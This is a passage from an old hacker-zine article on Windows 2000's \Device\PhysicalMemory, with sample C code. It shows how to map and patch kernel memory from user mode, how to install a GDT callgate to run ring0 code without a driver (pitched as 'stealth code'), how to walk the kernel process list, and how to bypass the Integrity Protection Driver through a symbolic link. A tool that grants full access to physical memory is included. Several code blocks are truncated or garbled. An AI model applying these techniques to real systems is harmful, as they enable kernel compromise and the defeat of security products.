->Dacl    : ->Ace[2]: ->AceFlags: 0x0
->Dacl    : ->Ace[2]: ->AceSize: 0x18
->Dacl    : ->Ace[2]: ->Mask : 0x0002000d
->Dacl    : ->Ace[2]: ->SID: S-1-5-32-544

->Sacl    :  is NULL

Our new Ace (access-control entry) is Ace[0] with a 0x00000002
For more information about Security win32 API see MSDN ([9]).

--[ 4 - Having fun with \Device\PhysicalMemory

Why playing with \Device\PhysicalMemory ? reading, writing, patching memory
i would say. That should be enough :)

----[ 4.1 Reading/Writing to memory

Ok let's start playing...
In order to read/write to \Device\PhysicalMemory, you have do this way:

   1) Open a Handle to the object (NtOpenSection)
   2) Translate the virtual address into a physical address
   3) Map the section to a memory space (NtMapViewOfSection)
   4) Read/Write data where the memory has been mapped
   5) Unmap the section (NtUnmapViewOfSection)
   6) Close the object's Handle (NtClose)
Our main problem for now is how to translate the virtual address to a 
physical address. We know that in kernel-mode (ring0), there is a function 
called MmGetPhysicalAddress exported by ntoskrnl.exe which do that.
But we are in ring3 so we have to "emulate" such function. 

from ntddk.h
PHYSICAL_ADDRESS MmGetPhysicalAddress(void *BaseAddress);

PHYSICAL_ADDRESS is a quad-word (64 bits). At the beginning i wanted to
join with the article the analysis of the assembly code but it's too long.
And as address translation is sort of generic (cpu relative) i only go fast
on this subject.

The low part of the quad-word is passed in eax and the high part in edx.
For virtual to physical address translation we have 2 cases:

 * case 0x80000000 <= BaseAddress < 0xA0000000:
the only thing we need to do is to apply a 0x1FFFF000 mask to the virtual

 * case BaseAddress < 0x80000000 && BaseAddress >= 0xA0000000
This case is a problem for us as we have no way to translate addresses in
this range because we need to read cr3 register or to run non ring3
callable assembly instruction. For more information about Paging on Intel
arch take a look at Intel Software Developer's Manual Volume 3 (see [5]).
EliCZ told me that by his experience we can guess a physical address for
this range by masking the byte offset and keeping a part of the page
directory index. mask: 0xFFFF000.

We can know produce a light version of MmGetPhysicalAddress()

PHYSICAL_MEMORY MyGetPhysicalAddress(void *BaseAddress) {
   if (BaseAddress < 0x80000000 || BaseAddress >= 0xA0000000) {
      return(BaseAddress & 0xFFFF000);
   return(BaseAddress & 0x1FFFF000);

The problem with the addresses outside the [0x80000000, 0xA0000000] is that
they can't be guessed with a very good sucess rate.
That's why if you want good results you would rather call the real
MmGetPhysicalAddress(). We will see how to do that in few chapter.

See winkdump.c for sample memory dumper.

After some tests using winkdump i realised that in fact there is another
problem in our *good* range :>. When translating virtual address above
0x877ef000 the physical address is getting above 0x00000000077e0000.
And on my system this is not *possible*:

kd> dd MmHighestPhysicalPage l1
dd MmHighestPhysicalPage l1
8046a04c  000077ef

We can see that the last physical page is locate at 0x0000000077ef0000.
So in fact that means that we can only dump a small section of the memory.
But anyway the goal of this chapter is much more an explaination about
how to start using \Device\PhysicalMemory than to create a *good* memory
dumper. As the dumpable range is where ntoskrnl.exe and HAL.dll (Hardware
Abstraction Layer) are mapped you can still do some stuff like dumping the
syscall table:

kd> ? KeServiceDescriptorTable
? KeServiceDescriptorTable
Evaluate expression: -2142852224 = 8046ab80

0x8046ab80 is the address of the System Service Table structure
which looks like:

typedef struct _SST {
   PDWORD  ServiceTable;           // array of entry points
   PDWORD  CounterTable;           // array of usage counters
   DWORD   ServiceLimit;           // number of table entries
   PBYTE   ArgumentTable;          // array of byte counts

C:\coding\phrack\winkdump\Release>winkdump.exe 0x8046ab80 16
 *** win2k memory dumper using \Device\PhysicalMemory ***

 Virtual Address       : 0x8046ab80
 Allocation granularity: 65536 bytes
 Offset                : 0xab80
 Physical Address      : 0x0000000000460000
 Mapped size           : 45056 bytes
 View size             : 16 bytes

d8 04 47 80 00 00 00 00  f8 00 00 00 bc 08 47 80  | ..G...........G.

Array of pointers to syscalls: 0x804704d8 (symbol KiServiceTable)
Counter table                : NULL
ServiceLimit                 : 248 (0xf8) syscalls
Argument table               : 0x804708bc (symbol KiArgumentTable)

We are not going to dump the 248 syscalls addresses but just take a look at

C:\coding\phrack\winkdump\Release>winkdump.exe 0x804704d8 12
 *** win2k memory dumper using \Device\PhysicalMemory ***

 Virtual Address       : 0x804704d8
 Allocation granularity: 65536 bytes
 Offset                : 0x4d8
 Physical Address      : 0x0000000000470000
 Mapped size           : 4096 bytes
 View size             : 12 bytes

bf b3 4a 80 6b e8 4a 80  f3 de 4b 80              | ..J.k.J...K.

 * 0x804ab3bf (NtAcceptConnectPort)
 * 0x804ae86b (NtAccessCheck)
 * 0x804bdef3 (NtAccessCheckAndAuditAlarm)

In the next section we will see what are callgates and how we can use them
with \Device\PhysicalMemory to fix problems like our address translation

----[ 4.2 What's a  Callgate

Callgate are mechanisms that enable a program to execute functions in
higher privilege level than it is. Like a ring3 program could execute ring0
In order to create a Callgate yo must specify:
   1) which ring level you want the code to be executed
   2) the address of the function that will be executed when jumping to   
   3) the number of arguments passed to the function

When the callgate is accessed, the processor first performs a privilege
check, saves the current SS, ESP, CS and EIP registers, then it loads the
segment selector and stack pointer for the new stack (ring0 stack) from the
TSS into the SS and ESP registers.
At this point it can switch to the new ring0 stack.
SS and ESP registers are pushed onto the stack, the arguments are copied.
CS and EIP (saved) registers are now pushed onto the stack for the calling
procedure to the new stack. The new segment selector is loaded for the new
code segment and instruction pointer from the callgate is loaded into CS
and EIP registers. Finnaly :) it jumps to the function's address specified
when creating the callgate.

The function executed in ring0 MUST clean its stack once it has finished
executing, that's why we are going to use __declspec(naked) (MS VC++ 6)
when defining the function in our code (similar to __attribute__(stdcall)
for GCC).

from MSDN:
__declspec( naked ) declarator

For functions declared with the naked attribute, the compiler generates
code without prolog and epilog code. You can use this feature to write your
own prolog/epilog code using inline assembler code.

For more information about callgates look at Intel Software Developer's
Manual Volume 1 (see [5]).

In order to install a Callgate we have 2 choices: or we manually seek a
free entry in the GDT where we can place our Callgate or we use some
undocumented functions of ntoskrnl.exe. But these functions are only
accessible from ring0. It's useless in our case since we are not in ring0
but anyway i will very briefly show you them:

NTSTATUS KeI386AllocateGdtSelectors(USHORT *SelectorArray, 
                                    USHORT nSelectors);
NTSTATUS KeI386ReleaseGdtSelectors(USHORT *SelectorArray, 
                                   USHORT nSelectors);
NTSTATUS KeI386SetGdtSelector(USHORT Selector,
                              PVOID Descriptor);

Their names are explicits enough i think :). So if you want to install a
callgate, first allocate a GDT selector with KeI386AllocateGdtSelectors(),
then set it with KeI386SetGdtSelector. When you are done just release it
with KeI386ReleaseGdtSelectors.

That's interesting but it doesn't fit our need. So we need to set a GDT
selector while executing code in ring3. Here comes \Device\PhysicalMemory.
In the next section i will explain how to use \Device\PhysicalMemory to
install a callgate.

----[ 4.3 Running ring0 code without the use of Driver

First question, "why running ring0 code without the use of Device Driver ?"
   * no need to register a service to the SCM (Service Control Manager).
   * stealth code ;)

   * code would never be as stable as if running from a (well coded) device    
   * we need to add write access to \Device\PhysicalMemory

So just keep in mind that you are dealing with hell while running ring0
code through \Device\PhysicalMemory =]

Ok now we can write the memory and we know that we can use callgate to run
ring0 so what are you waiting ?
First we need to know what part of the section to map to read the GDT
table. This is not a problem since we can access the global descriptor
table register using "sgdt" assembler instruction.

typedef struct _KGDTENTRY {
   WORD LimitLow; // size in bytes of the GDT
   WORD BaseLow;  // address of GDT (low part)
   WORD BaseHigh; // address of GDT (high part)

_asm sgdt gGdt; // load Global Descriptor Table register into gGdt

We translate the Virtual address from BaseLow/BaseHigh to a physical
address and then we map the base address of the GDT table.
We are lucky because even if the GDT table adddress is not in our *wanted*
range, it will be right translated (in 99% cases).

PhysicalAddress = GetPhysicalAddress(gGdt.BaseHigh << 16 | gGdt.BaseLow);

                   BaseAddress,       // pointer to mapped memory
                   gGdt.LimitLow,     // size to map
                   &ViewSize,         // pointer to mapped size
                   0,                 // allocation type
                   PAGE_READWRITE);   // protection

Finally we loop in the mapped memory to find a free selector by looking at
the "Present" flag of the Callgate descriptor structure.

typedef struct _CALLGATE_DESCRIPTOR {
   USHORT offset_0_15;    // low part of the function address
   USHORT selector;
   UCHAR  param_count :4;
   UCHAR  some_bits   :4;
   UCHAR  type        :4; // segment or gate type
   UCHAR  app_system  :1; // segment descriptor (0) or system segment (1)
   UCHAR  dpl         :2; // specify which privilege level can call it
   UCHAR  present     :1;
   USHORT offset_16_31;   // high part of the function address

offset_0_15 and offset_16_31 are just the low/high word of the function
address. The selector can be one of this list:

--- from ntddk.h
#define KGDT_NULL       0
#define KGDT_R0_CODE    8   // <-- what we need (ring0 code)
#define KGDT_R0_DATA    16
#define KGDT_R3_CODE    24
#define KGDT_R3_DATA    32
#define KGDT_TSS        40
#define KGDT_R0_PCR     48
#define KGDT_R3_TEB     56
#define KGDT_VDM_TILE   64
#define KGDT_LDT        72
#define KGDT_DF_TSS     80
#define KGDT_NMI_TSS    88

Once the callgate is installed there are 2 steps left to supreme ring0
power: coding our function called with the callgate and call the callgate.

As said in section 4.2, we need to code a function with a ring0
prolog / epilog and we need to clean our stack. Let's take a look at this
sample function:

void __declspec(naked) Ring0Func() { // our nude function :]
   // ring0 prolog
   _asm {
      pushad // push eax,ecx,edx,ebx,ebp,esp,esi,edi onto the stack
      pushfd // decrement stack pointer by 4 and push EFLAGS onto the stack
      cli    // disable interrupt
   // execute your ring0 code here ...
   // ring0 epilog
   _asm {
      popfd // restore registers pushed by pushfd
      popad // restore registers pushed by pushad
      retf  // you may retf <sizeof arguments> if you pass arguments

Pushing all registers onto the stack is the way we use to save all
registers while the ring0 code execution.

1 step left, calling the callgate...
A standart call won't fit as the callgate procedure is located in a
different privilege level (ring0) than the current code privilege level
We are doing to do a "far call" (inter-privilege level call).
So in order to call the callgate you must do like this:

short farcall[3];
farcall[0 --> 1] = offset from the target operand. This is ignored when a
callgate is used according to "IA-32 Intel Architecture Software
Developer's Manual (Volume 2)" (see [5]).

farcall[2] = callgate selector

At this time we can call our callgate using inline assembly.

_asm {
   push arg1
   push argN
   call fword ptr [farcall]

I forgot to mention that as it's a farcall first argument is located at
[ebp+0Ch] in the callgate function.

----[ 4.4 Deeper into Process listing

Now we will see how to list process in the kernel the lowest level we can
do :).
The design goal of creating a Kernel process lister at the lowest level
could be to see process hidden by a rootkit (taskmgr.exe patched, Syscall
hooked, ...).

You remember that Jamirocai song: "Going deeper underground". We will do
the same. Let's see which way we can use to list process.

   - Process32First/Process32Next, the easy documented way (ground level)

   - NtQuerySystemInformation using Class 5, Native API way. Basicly not
     documented but there are many sample on internet (level -1)

   - ExpGetProcessInformation, called internally by
     NtQuerySystemInformation (level -2)

   - Reading the double chained list PsActiveProcessHead (level -3) :p

Ok now we are deep enough.
The double chained list scheme looks like:

APL (f): ActiveProcessLinks.FLink
APL (b): ActiveProcessLinks.BLink

        process1          process2          process3          processN
0x000 |----------|      |----------|      |----------| 
      | EPROCESS |      | EPROCESS |      | EPROCESS |
      |   ...    |      |   ...    |      |   ...    |
0x0A0 |  APL (f) |----->|  APL (f) |----->|  APL (f) |-----> ...
0x0A4 |  APL (b) | \-<--|  APL (b) | \-<--|  APL (b) | \-<-- ...
      |   ...    |      |   ...    |      |   ...    |
      |----------|      |----------|      |----------|

As you can see (well ... my scheme is not that good :/) the next/prev
pointers of the ActiveProcessLinks struct are not _EPROCESS structure
pointers. They are pointing to the next LIST_ENTRY struct. That means that
if we want to retrieve the _EPROCESS structure address, we have to adjust
the pointer.

(look at _EPROCESS struct definition in kmem.h in sample code section)
LIST_ENTRY ActiveProcessLinks is at offset 0x0A0 in _EPROCESS struct:
 --> Flink = 0x0A0
 --> Blink = 0x0A4

So we can quickly create some macros for later use:

#define TO_EPROCESS(_a) ((char *) _a - 0xA0) // Flink to _EPROCESS
#define TO_PID(_a) ((char *) _a - 0x4)       // Flink to UniqueProcessId
#define TO_PNAME(_a) ((char *) _a + 0x15C)   // Flink to ImageFileName

The head of the LIST_ENTRY list is PsActiveProcessHead. You can get its
address with kd for example:

kd> ? PsActiveProcessHead
? PsActiveProcessHead
Evaluate expression: -2142854784 = 8046a180

Just one thing to know. As this List can change very quickly, you may want
to lock it before reading it. Reading ExpGetProcessInformation assembly, we
can see:

   mov     ecx, offset _PspActiveProcessMutex
   call    ds:__imp_@ExAcquireFastMutex@4
   mov     ecx, offset _PspActiveProcessMutex
   call    ds:__imp_@ExReleaseFastMutex@4

ExAcquireFastMutex and ExReleaseFastMutex are __fastcall defined so the
arguments are pushed in reverse order (ecx, edx,...). They are exported by
HAL.dll. By the way i don't lock it in winkps.c :)

Ok, first we install a callgate to be able to execute the ring0 function
(MmGetPhysicalAddress and ExAcquireFastMutex/ExReleaseFastMutex if you 
want), then we list the process and finally we remove the callgate.

See winkps.c in sample code section.

Installing the callgate is an easy step as you can see in the sample code.
The hard part is reading the LIST_ENTRY struct. It's kinda strange because
reading a chained list is not supposed to be hard but we are dealing with
physical memory.
First in order to avoid too much use of our callgate we try to use it as
less as we can. Remember, running ring0 code in ring3 is not
*a good thing*.
Problems could happend on the dispatch level where the thread is executed
and second your thread (i think) have a lower priority than a device
driver even if you use SetThreadPriority().

The scheduler base his scheduling on 2 things, the BasePriority of a
process and his Current priority, when you modify thread priority using
win32 API SetThreadPriority(), the current priority is changed but it's
relative to the base priority. And there is no way to change base priority
of a process in ring3.

So in order to prevent mapping the section for every process i map 1mb
section each time i need to map one. I think it's the best choice since
most of the EPROCESS structures are located around 0xfce***** - 0xfcf*****.

 *** win2k process lister ***

Allocation granularity: 65536 bytes
MmGetPhysicalAddress   : 0x804374e0
virtual address of GDT : 0x80036000
physical address of GDT: 0x0000000000036000
Allocated segment      : 3fb
mapped 0xb000 bytes @ 0x00430000 (init Size: 0xa184 bytes)
mapped 0x100000 bytes @ 0x0043e000 (init Size: 0x100000 bytes)
 + 8     System
mapped 0x100000 bytes @ 0x0054e000 (init Size: 0x100000 bytes)
 + 136   smss.exe
 + 160   csrss.exe
 + 156   winlogon.exe
 + 208   services.exe
 + 220   lsass.exe
 + 420   regsvc.exe
 + 436   svchost.exe
 + 480   svchost.exe
 + 524   WinMgmt.exe
mapped 0x100000 bytes @ 0x0065e000 (init Size: 0x100000 bytes)
 + 656   Explorer.exe
 + 764   OSA.EXE
 + 660   mdm.exe
 + 752   cmd.exe
 + 532   msdev.exe
 + 604   ssh.exe
 + 704   Livekd.exe
 + 716   i386kd.exe
 + 448   uedit32.exe
 + 260   winkps.exe

3 sections mapping + 1 for selecting the first entry (process) looks good.
I will just briefly describe the winkps.c but better take time to read the

Flow of winkps.c
 - GetSystemInfo()
   grab Allocation granularity on the system. (used for calculating offset
   on address translation).
 - LoadLibrary()
   get the address of MmGetPhysicalAddress in ntoskrnl.exe. This can also
   be done by parsing the PE header.
 - NtOpenSection()
   open \Device\PhysicalMemory r/w.
 - InstallCallgate()
   Map the section for install/remove callgate and install the callgate  
   using second argument as callgate function.

 - DisplayProcesses()
   main loop. Errors are catched by the execption handler.
   I do this in order to try cleaning the callgate even if there is an
   error like access violation (could happend if bad mapping).
- UninstallCallgate()
  Remove the callgate and unmap the mapping of the section.

- NtClose()
  Simply close the opened HANDLE :)

Now it's time you to read the code and try to recode winkdump.c with a
better address translation support using a callgate :>

----[ 4.5 Bonus Track

As far as i know, the only product that try to restrict access to
\Device\PhysicalMemory is "Integrity Protection Driver (IPD)" from Pedestal
Software (see [6]).

from README:
    The IPD forbids any process from opening \Device\PhysicalMemory.

ok so .. let's say we want to use ipd and we still want to play with
\Device\PhysicalMemory heh :). I don't really know if this product is well-
known but anyway i wanted to bypass its protection.
In order to restrict access to \Device\PhysicalMemory IPD hooks
ZwOpenSection() and check that the Section being opened is not called

from h_mem.c
   if (restrictEnabled()) {
      if (ObjectAttributes && ObjectAttributes->ObjectName &&
          ObjectAttributes->ObjectName->Length>0) {
          if (_wcsicmp(ObjectAttributes->ObjectName->Buffer,
                       L"\\Device\\PhysicaMemory")==0) {
             WCHAR buf[200];
                      L"Blocking device/PhysicalMemory access,
                      procid=0x%x\n", PsGetCurrentProcessId());
             return STATUS_ACCESS_DENIED;

_wcsicmp() perform a lowercase comparison of 2 Unicode buffer so if we find
a way to open the object using another name we are done :).
In first chapter we have seen that there were a symbolic link object type
so what's about creating a symbolic link object linked to
\Device\PhysicalMemory ?
By looking at ntdll.dll export table, you can find a function called
"NtCreateSymbolicLinkObject" but like most of interesting things it's not
documented. The prototype is like this:

NTSTATUS NtCreateSymbolicLinkObject(PHANDLE SymLinkHandle,
                                    ACCESS_MASK DesiredAccess,
                                    POBJECT_ATTRIBUTES ObAttributes,
                                    PUNICODE_STRING ObName);

So we just have to call this function with "\Device\PhysicalMemory" as the
ObName and we set our new name in the OBJECT_ATTRIBUTES structures. We use
"\??\" as root directory for our object so the name is now
At the beginning i was asking myself how the kernel would resolve the
symbolic link when calling NtOpenSection with "\??\hack_da_ipd". If
NtOpenSection was checking that the destination object is a symbolic link
and then recall NtOpenSection with the real name of the object, our
symbolic link would be useless because IPD could detect it.
So i straced it:

3 NtCreateSymbolicLinkObject(0x1, {24, 0, 0x40, 0, 0,
     "\??\hack_da_ipd"}, 1245028, ... 48, ) == 0x0
4 NtAllocateVirtualMemory(-1, 1244448, 0, 1244480, 4096, 4, ... ) == 0x0
5 NtRequestWaitReplyPort(36, {124, 148, 0, 16711934, 4222620, 256, 0}, ...           
     {124, 148, 2, 868, 840, 7002, 0}, ) == 0x0
6 NtOpenSection (0x4, {24, 0, 0x40, 0, 0, "\??\hack_da_ipd"}, ... 44, )  
     == 0x0
7 NtRequestWaitReplyPort (36, {124, 148, 0, 868, 840, 7002, 0}, ... {124,
     148, 2, 868, 840, 7003, 0}, ) == 0x0
8 NtClose (44, ... ) == 0x0
9 NtClose (48, ... ) == 0x0

(a strace for Windows is avaible at BindView's RAZOR web site. see [7])

As you can see NtOpenSection doesn't recall itself with the real name of
the object so all is good.
At this point \Device\PhysicalMemory is our so IPD is 100% corrupted :p as
we can read/write whereever we want in the memory.
Remember that you must run this program with user SYSTEM.

--[ 5 - Sample code

Sample code provided with the article may be copied/duplicated and modified
in any form as long as this copyright is prepended unmodified.
Code are proof of concept and the author can and must not be made
responsible for any damage/data loss.
Use this code at your own risk.

                                            crazylord / CNS

----[ 5.1 kmem.h

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;

#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_KERNEL_HANDLE    0x00000200L

#define STATUS_SUCCESS       (NTSTATUS) 0x00000000L

#define MAKE_DWORD(_l, _h) (DWORD) (_l | (_h << 16))

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;

// useful macros
#define InitializeObjectAttributes( p, n, a, r, s ) { \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );        \
    (p)->RootDirectory = r;                           \
    (p)->Attributes = a;                              \
    (p)->ObjectName = n;                              \
    (p)->SecurityDescriptor = s;                      \
    (p)->SecurityQualityOfService = NULL;             \

#define INIT_UNICODE(_var,_buffer)            \
        UNICODE_STRING _var = {               \
            sizeof (_buffer) - sizeof (WORD), \
            sizeof (_buffer),                 \
            _buffer }

// callgate info
typedef struct _KGDTENTRY {
   WORD LimitLow;
   WORD BaseLow;
   WORD BaseHigh;

typedef struct _CALLGATE_DESCRIPTOR {
   USHORT offset_0_15;
   USHORT selector;
   UCHAR  param_count :4;
   UCHAR  some_bits   :4;
   UCHAR  type        :4;
   UCHAR  app_system  :1;
   UCHAR  dpl         :2;
   UCHAR  present     :1;
   USHORT offset_16_31;

// section info
typedef enum _SECTION_INHERIT {
    ViewShare = 1,
    ViewUnmap = 2

typedef struct _MAPPING {
/*000*/ PHYSICAL_ADDRESS pAddress;
/*008*/ PVOID            vAddress;
/*00C*/ DWORD            Offset;

// symlink info
#define SYMBOLIC_LINK_QUERY                              (0x0001)

// process info
// Flink to _EPROCESS
#define TO_EPROCESS(_a) ((DWORD) _a - 0xA0)
// Flink to UniqueProcessId
#define TO_PID(_a) (DWORD) ((DWORD) _a - 0x4)
// Flink to ImageFileName
#define TO_PNAME(_a) (PCHAR) ((DWORD) _a + 0x15C)

typedef struct _DISPATCHER_HEADER {
/*000*/ UCHAR Type;
/*001*/ UCHAR Absolute;
/*002*/ UCHAR Size;
/*003*/ UCHAR Inserted;
/*004*/ LONG SignalState;
/*008*/ LIST_ENTRY WaitListHead;

typedef struct _KEVENT {
/*010*/ } KEVENT, *PKEVENT;

typedef struct _FAST_MUTEX {
/*000*/ LONG Count;
/*004*/ PVOID Owner;
/*008*/ ULONG Contention;
/*00C*/ KEVENT Event;
/*01C*/ ULONG OldIrql;

// the two following definition come from w2k_def.h by Sven B. Schreiber
typedef struct _MMSUPPORT {
/*000*/ LARGE_INTEGER LastTrimTime;
/*008*/ DWORD         LastTrimFaultCount;
/*00C*/ DWORD         PageFaultCount;
/*010*/ DWORD         PeakWorkingSetSize;
/*014*/ DWORD         WorkingSetSize;
/*018*/ DWORD         MinimumWorkingSetSize;
/*01C*/ DWORD         MaximumWorkingSetSize;
/*020*/ PVOID         VmWorkingSetList;
/*024*/ LIST_ENTRY    WorkingSetExpansionLinks;
/*02C*/ BOOLEAN       AllowWorkingSetAdjustment;
/*02D*/ BOOLEAN       AddressSpaceBeingDeleted;
/*02E*/ BYTE          ForegroundSwitchCount;
/*02F*/ BYTE          MemoryPriority;

typedef struct _IO_COUNTERS {
/*000*/ ULONGLONG  ReadOperationCount;
/*008*/ ULONGLONG  WriteOperationCount;
/*010*/ ULONGLONG  OtherOperationCount;
/*018*/ ULONGLONG ReadTransferCount;
/*020*/ ULONGLONG WriteTransferCount;
/*028*/ ULONGLONG OtherTransferCount;

// this is a very simplified version :) of the EPROCESS
// structure.

typedef struct _EPROCESS {
/*000*/ BYTE                   Pcb[0x6C];
/*06C*/ NTSTATUS               ExitStatus;
/*070*/ KEVENT                 LockEvent;
/*080*/ DWORD                  LockCount;
/*084*/ DWORD                  dw084;
/*088*/ LARGE_INTEGER          CreateTime;
/*090*/ LARGE_INTEGER          ExitTime;
/*098*/ PVOID                  LockOwner;
/*09C*/ DWORD                  UniqueProcessId;
/*0A0*/ LIST_ENTRY             ActiveProcessLinks; // see PsActiveListHead
/*0A8*/ DWORD                  QuotaPeakPoolUsage[2]; // NP, P
/*0B0*/ DWORD                  QuotaPoolUsage[2]; // NP, P
/*0B8*/ DWORD                  PagefileUsage;
/*0BC*/ DWORD                  CommitCharge;
/*0C0*/ DWORD                  PeakPagefileUsage;
/*0C4*/ DWORD                  PeakVirtualSize;
/*0C8*/ LARGE_INTEGER          VirtualSize;
/*0D0*/ MMSUPPORT              Vm;
/*100*/ LIST_ENTRY             SessionProcessLinks;
/*108*/ DWORD                  dw108[6];
/*120*/ PVOID                  DebugPort;
/*124*/ PVOID                  ExceptionPort;
/*128*/ PVOID                  ObjectTable;
/*12C*/ PVOID                  Token;
/*130*/ FAST_MUTEX             WorkingSetLock;
/*150*/ DWORD                  WorkingSetPage;
/*154*/ BOOLEAN                ProcessOutswapEnabled;
/*155*/ BOOLEAN                ProcessOutswapped;
/*156*/ BOOLEAN                AddressSpaceInitialized;
/*157*/ BOOLEAN                AddressSpaceDeleted;
/*158*/ FAST_MUTEX             AddressCreationLock;
/*178*/ KSPIN_LOCK             HyperSpaceLock;
/*17C*/ DWORD                  ForkInProgress;
/*180*/ WORD                   VmOperation;
/*182*/ BOOLEAN                ForkWasSuccessful;
/*183*/ BYTE                   MmAgressiveWsTrimMask;
/*184*/ DWORD                  VmOperationEvent;
/*188*/ PVOID                  PaeTop;
/*18C*/ DWORD                  LastFaultCount;
/*190*/ DWORD                  ModifiedPageCount;
/*194*/ PVOID                  VadRoot;
/*198*/ PVOID                  VadHint;
/*19C*/ PVOID                  CloneRoot;
/*1A0*/ DWORD                  NumberOfPrivatePages;
/*1A4*/ DWORD                  NumberOfLockedPages;
/*1A8*/ WORD                   NextPageColor;
/*1AA*/ BOOLEAN                ExitProcessCalled;
/*1AB*/ BOOLEAN                CreateProcessReported;
/*1AC*/ HANDLE                 SectionHandle;
/*1B0*/ PVOID                  Peb;
/*1B4*/ PVOID                  SectionBaseAddress;
/*1B8*/ PVOID                  QuotaBlock;
/*1BC*/ NTSTATUS               LastThreadExitStatus;
/*1C0*/ DWORD                  WorkingSetWatch;
/*1C4*/ HANDLE                 Win32WindowStation;
/*1C8*/ DWORD                  InheritedFromUniqueProcessId;
/*1CC*/ ACCESS_MASK            GrantedAccess;
/*1D0*/ DWORD                  DefaultHardErrorProcessing; // HEM_*
/*1D4*/ DWORD                  LdtInformation;
/*1D8*/ PVOID                  VadFreeHint;
/*1DC*/ DWORD                  VdmObjects;
/*1E0*/ PVOID                  DeviceMap;
/*1E4*/ DWORD                  SessionId;
/*1E8*/ LIST_ENTRY             PhysicalVadList;
/*1F0*/ PVOID                  PageDirectoryPte;
/*1F4*/ DWORD                  dw1F4;
/*1F8*/ DWORD                  PaePageDirectoryPage;
/*1FC*/ CHAR                   ImageFileName[16];
/*20C*/ DWORD                  VmTrimFaultValue;
/*210*/ BYTE                   SetTimerResolution;
/*211*/ BYTE                   PriorityClass;
/*212*/ WORD                   SubSystemVersion;
/*214*/ PVOID                  Win32Process;
/*218*/ PVOID                  Job;
/*21C*/ DWORD                  JobStatus;
/*220*/ LIST_ENTRY             JobLinks;
/*228*/ PVOID                  LockedPagesList;
/*22C*/ PVOID                  SecurityPort;
/*230*/ PVOID                  Wow64;
/*234*/ DWORD                  dw234;
/*238*/ IO_COUNTERS            IoCounters;
/*268*/ DWORD                  CommitChargeLimit;
/*26C*/ DWORD                  CommitChargePeak;
/*270*/ LIST_ENTRY             ThreadListHead;
/*278*/ PVOID                  VadPhysicalPagesBitMap;
/*27C*/ DWORD                  VadPhysicalPages;
/*280*/ DWORD                  AweLock;

// copy ntdll.lib from Microsoft DDK to current directory
#pragma comment(lib, "ntdll")
#define IMP_SYSCALL __declspec(dllimport) NTSTATUS _stdcall 

NtMapViewOfSection(HANDLE SectionHandle,
                   HANDLE ProcessHandle,
                   PVOID *BaseAddress,
                   ULONG ZeroBits,
                   ULONG CommitSize,
                   PLARGE_INTEGER SectionOffset,
                   PSIZE_T ViewSize,
                   SECTION_INHERIT InheritDisposition,
                   ULONG AllocationType,
                   ULONG Protect);

NtUnmapViewOfSection(HANDLE ProcessHandle,
                     PVOID BaseAddress);

NtOpenSection(PHANDLE SectionHandle,
              ACCESS_MASK DesiredAccess,
              POBJECT_ATTRIBUTES ObjectAttributes);

NtClose(HANDLE Handle);

NtCreateSymbolicLinkObject(PHANDLE SymLinkHandle,
                           ACCESS_MASK DesiredAccess,
                           POBJECT_ATTRIBUTES ObjectAttributes,
                           PUNICODE_STRING TargetName);

----[ 5.2 chmod_mem.c

#include <stdio.h>
#include <windows.h>
#include <aclapi.h>
#include "..\kmem.h"

void usage(char *n) {
   printf("usage: %s (/current | /user) [who]\n", n);
   printf("/current: add all access to current user\n");
   printf("/user   : add all access to user 'who'\n");

int main(int argc, char **argv) {
   HANDLE               Section;
   DWORD                Res;
   NTSTATUS             ntS;
   PACL                 OldDacl=NULL, NewDacl=NULL;
   EXPLICIT_ACCESS      Access;
   OBJECT_ATTRIBUTES    ObAttributes;
   INIT_UNICODE(ObName, L"\\Device\\PhysicalMemory");
   BOOL                 mode;

   if (argc < 2)

   if (!strcmp(argv[1], "/current")) {
      mode = 1;
   } else if (!strcmp(argv[1], "/user") && argc == 3) {
     mode = 2;
   } else

   memset(&Access, 0, sizeof(EXPLICIT_ACCESS));
                              OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,

   // open handle de \Device\PhysicalMemory
   ntS = NtOpenSection(&Section, WRITE_DAC | READ_CONTROL, &ObAttributes);
   if (ntS != STATUS_SUCCESS) {
      printf("error: NtOpenSection (code: %x)\n", ntS);
      goto cleanup;
   // retrieve a copy of the security descriptor
   Res = GetSecurityInfo(Section, SE_KERNEL_OBJECT, 
                         DACL_SECURITY_INFORMATION, NULL, NULL, &OldDacl,
                         NULL, &SecDesc);
   if (Res != ERROR_SUCCESS) {
      printf("error: GetSecurityInfo (code: %lu)\n", Res);
      goto cleanup;

   Access.grfAccessPermissions = SECTION_ALL_ACCESS; // :P
   Access.grfAccessMode        = GRANT_ACCESS;
   Access.grfInheritance       = NO_INHERITANCE;
   Access.Trustee.MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;
   // change these informations to grant access to a group or other user
   Access.Trustee.TrusteeForm  = TRUSTEE_IS_NAME;
   Access.Trustee.TrusteeType  = TRUSTEE_IS_USER;
   if (mode == 1)
      Access.Trustee.ptstrName = "CURRENT_USER";
     Access.Trustee.ptstrName = argv[2];

   // create the new ACL
   Res = SetEntriesInAcl(1, &Access, OldDacl, &NewDacl);
   if (Res != ERROR_SUCCESS) {
      printf("error: SetEntriesInAcl (code: %lu)\n", Res);
      goto cleanup;

   // update ACL
   Res = SetSecurityInfo(Section, SE_KERNEL_OBJECT,
                         DACL_SECURITY_INFORMATION, NULL, NULL, NewDacl, 
   if (Res != ERROR_SUCCESS) {
      printf("error: SetEntriesInAcl (code: %lu)\n", Res);
      goto cleanup;
   printf("\\Device\\PhysicalMemory chmoded\n");
   if (Section)
   if (SecDesc)

----[ 5.3 winkdump.c

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#include "..\kmem.h"

ULONG   Granularity;

// thanx to kraken for the hexdump function
void hexdump(unsigned char *data, unsigned int amount) {
   unsigned int      dp, p;
   const char        trans[] =
      "................................ !\"#$%&'()*+,-./0123456789"

   for (dp = 1; dp <= amount; dp++)  {
      printf ("%02x ", data[dp-1]);
      if ((dp % 8) == 0)
         printf (" ");
      if ((dp % 16) == 0) {
         printf ("| ");
         p = dp;
         for (dp -= 16; dp < p; dp++)
